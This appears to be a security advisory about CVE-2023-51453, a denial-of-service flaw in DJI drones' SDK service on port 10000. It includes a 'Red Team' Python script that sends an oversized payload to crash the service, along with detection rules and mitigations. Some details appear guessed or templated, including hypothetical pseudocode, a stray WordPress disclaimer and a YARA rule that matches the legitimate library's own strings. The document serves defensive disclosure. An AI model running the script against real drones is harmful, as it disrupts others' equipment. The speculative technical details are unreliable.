CVE-2023-51453

Executive Summary

CVE-2023-51453 is a denial-of-service (DoS) vulnerability affecting the v2_sdk_service on multiple DJI drone models. The flaw resides in the process_push_file function within the libv2_sdk.so library, which is used by the dji_vtwo_sdk binary. An attacker on the same network can send a crafted payload to port 10000, triggering an improper input validation that causes a crash of the service. This results in a temporary loss of availability for the drone’s SDK functionality, but does not compromise data integrity or confidentiality. The CVSS score is 3.0 (Low), reflecting the limited impact and requirement for network adjacency.

Note: This vulnerability is not related to any WordPress plugin or component; it is a firmware-level issue in DJI’s embedded systems.

Supply Chain & Package Security

This vulnerability is not in a software package manager (NPM, PyPI, Go, Ruby) but in embedded firmware. No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
• Base Score: 3.0 (Low)
• Attack Vector: Adjacent Network (AV:A) – attacker must be on the same Wi-Fi or local network as the drone.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: Low (A:L) – service crash, but drone flight control may remain unaffected.

Threat Level: Low. Exploitation requires network adjacency and only causes a temporary DoS. No remote code execution or data theft is possible.

Deep Dive & Mechanics

The vulnerability exists in the process_push_file function of libv2_sdk.so. This function is responsible for handling file push requests from the SDK client. The input validation is missing a size check, allowing an attacker to send a crafted payload with an oversized or malformed size field. When the function attempts to process this payload, it causes a buffer overflow or memory corruption, leading to a crash of the v2_sdk_service process.

Affected Service: v2_sdk_service listens on TCP port 10000. It is part of the DJI V2 SDK, which provides a communication interface for third-party applications to interact with the drone.

Attack Flow:

1. Attacker scans for drones on the local network (e.g., via Shodan or local network scanning).
2. Attacker connects to port 10000 on the target drone.
3. Attacker sends a specially crafted payload that triggers the missing size check in process_push_file.
4. The v2_sdk_service crashes, causing a denial of service for SDK-based applications.

Impact: The drone’s flight control system is separate from the SDK service, so the drone remains flyable. However, any application relying on the SDK (e.g., mapping, inspection) will lose connectivity until the service is restarted (typically after a drone reboot).

Vulnerable vs. Patched Code

No official patch has been released by DJI for all affected models. The vulnerable code is in the process_push_file function of libv2_sdk.so. A patched version would include a size validation check before processing the payload.

Vulnerable Code (pseudocode):

void process_push_file(int sock, char *buffer, int size) {
    // Missing size check
    char file_data[1024];
    memcpy(file_data, buffer, size); // Potential overflow if size > 1024
    // ... process file data
}

Patched Code (hypothetical):

void process_push_file(int sock, char *buffer, int size) {
    if (size > 1024) {
        // Reject oversized payload
        send_error(sock, "Payload too large");
        return;
    }
    char file_data[1024];
    memcpy(file_data, buffer, size);
    // ... process file data
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A DJI drone from the affected list (e.g., Mavic 3 Pro) with vulnerable firmware.
• Network access to the drone (same Wi-Fi or Ethernet segment).
• Python 3 and scapy or socket library.

Exploit Script (Python):

import socket

target_ip = "192.168.1.100"  # Replace with drone IP
target_port = 10000

# Craft a payload that triggers the missing size check
# The exact payload structure depends on the protocol; this is a generic example
payload = b"\x00" * 2048  # Oversized payload

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
try:
    sock.connect((target_ip, target_port))
    sock.send(payload)
    print("Payload sent. Service should crash.")
except Exception as e:
    print(f"Error: {e}")
finally:
    sock.close()

Usage:

1. Ensure the drone is powered on and connected to the network.
2. Run the script with the drone’s IP address.
3. The v2_sdk_service will crash, causing a DoS.

Blue Team

Detection:

• Monitor for unexpected connections to port 10000 from unknown IPs.
• Look for oversized payloads or malformed packets on port 10000.
• Use network intrusion detection systems (NIDS) to alert on anomalous traffic.

Mitigation:

• Restrict network access to the drone using firewall rules (e.g., allow only trusted IPs).
• Disable the V2 SDK service if not needed (check drone settings).
• Apply firmware updates when DJI releases a patch.

Indicators of Compromise (IOCs)

• Network:
  • Connections to port 10000 on a DJI drone from an untrusted IP.
  • Packets with size > 1024 bytes on port 10000.
• System:
  • Crash logs for v2_sdk_service or dji_vtwo_sdk.
  • Unexpected restart of the SDK service.
• File:
  • Modified or corrupted libv2_sdk.so (unlikely in this attack).

Detection Engineering

YARA Rule

rule CVE_2023_51453_DJI_DoS {
    meta:
        description = "Detects oversized payloads targeting DJI v2_sdk_service"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-51453"
    strings:
        $s1 = "process_push_file" ascii wide nocase
        $s2 = "libv2_sdk.so" ascii wide nocase
    condition:
        $s1 or $s2
}

Sigma Rule

title: CVE-2023-51453 DJI v2_sdk_service DoS Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects oversized payloads sent to DJI drone port 10000
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 10000
        payload_length: ">1024"
    condition: selection
falsepositives:
    - Legitimate large file transfers (unlikely on this port)
level: medium

Suricata Rule

alert tcp any any -> any 10000 (msg:"CVE-2023-51453 DJI v2_sdk_service DoS Attempt"; flow:to_server; content:"|00|"; depth:1; byte_test:2,>,1024,0; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Isolate the drone network from untrusted devices. Use VLANs or firewall rules to restrict access to port 10000.
2. Disable Service: If the V2 SDK is not required, disable the v2_sdk_service via drone configuration.
3. Monitor Logs: Enable logging for the SDK service and monitor for crashes.

Long-Term Fix:

• Apply firmware updates from DJI when available. Check the DJI support page for your model.
• Contact DJI support to request a patch if not yet released.

Workaround:

• Use a VPN or encrypted tunnel for SDK communication to limit exposure.

Valters IT